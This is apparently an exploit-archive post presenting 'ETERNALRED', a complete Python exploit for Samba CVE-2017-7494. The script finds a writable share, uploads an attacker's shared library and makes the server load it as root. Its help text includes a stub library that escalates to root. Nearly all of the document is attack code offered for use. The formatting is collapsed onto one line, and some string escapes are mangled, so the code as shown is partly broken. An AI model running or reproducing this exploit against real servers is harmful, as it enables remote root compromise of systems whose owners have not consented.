Samba 3.5.0 Remote Code Execution
Posted on 26 May 2017
#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + struct.pack('<I', call_id) + binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b' ' server_bytes_len += 2 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + struct.pack('<III', server_len, 0, server_len) + (remote_name + ' ').encode('UTF-16LE') + padding + binascii.unhexlify(b""" 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes)) m.tid = read_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint') def listShareResultsCB(result_message, **kwargs): messages_history.append(result_message) if result_message.status == 0: # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. data_bytes = result_message.payload.out_data if data_bytes[3] & 0x02 == 0: sendReadRequest(result_message.tid, kwargs['fid'], data_bytes) else: decodeResults(result_message.tid, kwargs['fid'], data_bytes) elif result_message.status == 0x0103: # STATUS_PENDING self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) else: closeFid(result_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def decodeResults(tid, fid, data_bytes): shares_count = struct.unpack('<I', data_bytes[36:40])[0] results = [ ] # A list of SharedDevice2 instances offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants for i in range(0, shares_count): results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None)) offset += 12 for i in range(0, shares_count): max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) closeFid(tid, fid) callback(results) def sendReadRequest(tid, fid, data_bytes): read_count = min(4280, self.max_read_size) m = SMB2Message(SMB2ReadRequest(fid, 0, read_count)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, data_bytes = data_bytes) def readCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: data_len = read_message.payload.data_length data_bytes = read_message.payload.data if data_bytes[3] & 0x02 == 0: sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def closeFid(tid, fid, results = None, error = None): m = SMB2Message(SMB2CloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error) messages_history.append(m) def closeCB(close_message, **kwargs): if kwargs['results'] is not None: callback(kwargs['results']) elif kwargs['error'] is not None: errback(OperationFailure(kwargs['error'], messages_history)) if path not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if connect_message.status == 0: self.connected_trees[path] = connect_message.tid connectSrvSvc(connect_message.tid) else: errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history)) m = SMB2Message(SMB2TreeConnectRequest(r'\%s\%s' % ( self.remote_name.upper(), path ))) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path) messages_history.append(m) else: connectSrvSvc(self.connected_trees[path]) # Don't convert to Window style path def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') messages_history = [ ] def sendOpen(tid): m = SMBMessage(ComOpenAndxRequest(filename = path, access_mode = 0x0040, # Sharing mode: Deny nothing to others open_mode = 0x0001, # Failed if file does not exist search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM, timeout = timeout * 1000)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback) messages_history.append(m) def openCB(open_message, **kwargs): messages_history.append(open_message) if not open_message.status.hasError: if max_length == 0: closeFid(open_message.tid, open_message.payload.fid) callback(( file_obj, open_message.payload.file_attributes, 0 )) else: sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history)) def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len): read_count = self.max_raw_size - 2 m = SMBMessage(ComReadAndxRequest(fid = fid, offset = offset, max_return_bytes_count = read_count, min_return_bytes_count = min(0xFFFF, read_count))) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes, read_len = read_len, remaining_len = remaining_len) def readCB(read_message, **kwargs): # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history. if not read_message.status.hasError: read_len = kwargs['read_len'] remaining_len = kwargs['remaining_len'] data_len = read_message.payload.data_length if max_length > 0: if data_len > remaining_len: file_obj.write(read_message.payload.data[:remaining_len]) read_len += remaining_len remaining_len = 0 else: file_obj.write(read_message.payload.data) remaining_len -= data_len read_len += data_len else: file_obj.write(read_message.payload.data) read_len += data_len if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2): closeFid(read_message.tid, kwargs['fid']) callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements else: sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len) else: messages_history.append(read_message) closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid): m = SMBMessage(ComCloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) messages_history.append(m) if service_name not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if not connect_message.status.hasError: self.connected_trees[service_name] = connect_message.tid sendOpen(connect_message.tid) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, '')) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name) messages_history.append(m) else: sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False): if force_smb1: smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server") assert conn.connect(server, port) return conn def get_share_info(conn): conn.hook_listShares() return conn.listShares() def find_writeable_share(conn, shares): print("[+] Searching for writable share") filename = "red" test_file = tempfile.TemporaryFile() for share in shares: try: # If it's not writeable this will throw conn.storeFile(share.name, filename, test_file) conn.deleteFiles(share.name, filename) print("[+] Found writeable share: " + share.name) return share except: pass return None def write_payload(conn, share, payload, payload_name): with open(payload, "rb") as fin: conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share): path = share.path[2:] path = path.replace("\", "/") return path def load_payload(user, password, server, port, fullpath): conn = get_connection(user, password, server, port, force_smb1 = True) conn.hook_retrieveFile() print("[+] Attempting to load payload") temp_file = tempfile.TemporaryFile() try: conn.retrieveFile("IPC$", "\\PIPE\" + fullpath, temp_file) except: pass return def drop_payload(user, password, server, port, payload): payload_name = "charizard" conn = get_connection(user, password, server, port) shares = get_share_info(conn) share = find_writeable_share(conn, shares) if share is None: print("[!] No writeable shares on " + server + " for user: " + user) sys.exit(-1) if not write_payload(conn, share, payload, payload_name): print("[!] Failed to write payload: " + str(payload) + " to server") sys.exit(-1) conn.close() fullpath = convert_share_path(share) return os.path.join(fullpath, payload_name) def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description= """Eternal Red Samba Exploit -- CVE-2017-7494 Causes vulnerable Samba server to load a shared library in root context Credentials are not required if the server has a guest account For remote exploit you must have write permissions to at least one share Eternal Red will scan the Samba server for shares it can write to It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void); int samba_init_module(void) { change_to_root_user(); /* Do what thou wilt */ } """) parser.add_argument("payload", help="path to shared library to load", type=str) parser.add_argument("server", help="Server to target", type=str) parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int) parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str) parser.add_argument("--password", help="Password for user default is empty", type=str) parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool) args = parser.parse_args() if not os.path.isfile(args.payload): print("[!] Unable to open: " + args.payload) sys.exit(-1) port = 445 user = "nobody" password = "" fullpath = "" if args.port: port = args.port if args.username: user = args.username if args.password: password = args.password if args.local: fullpath = args.payload else: fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__": main()
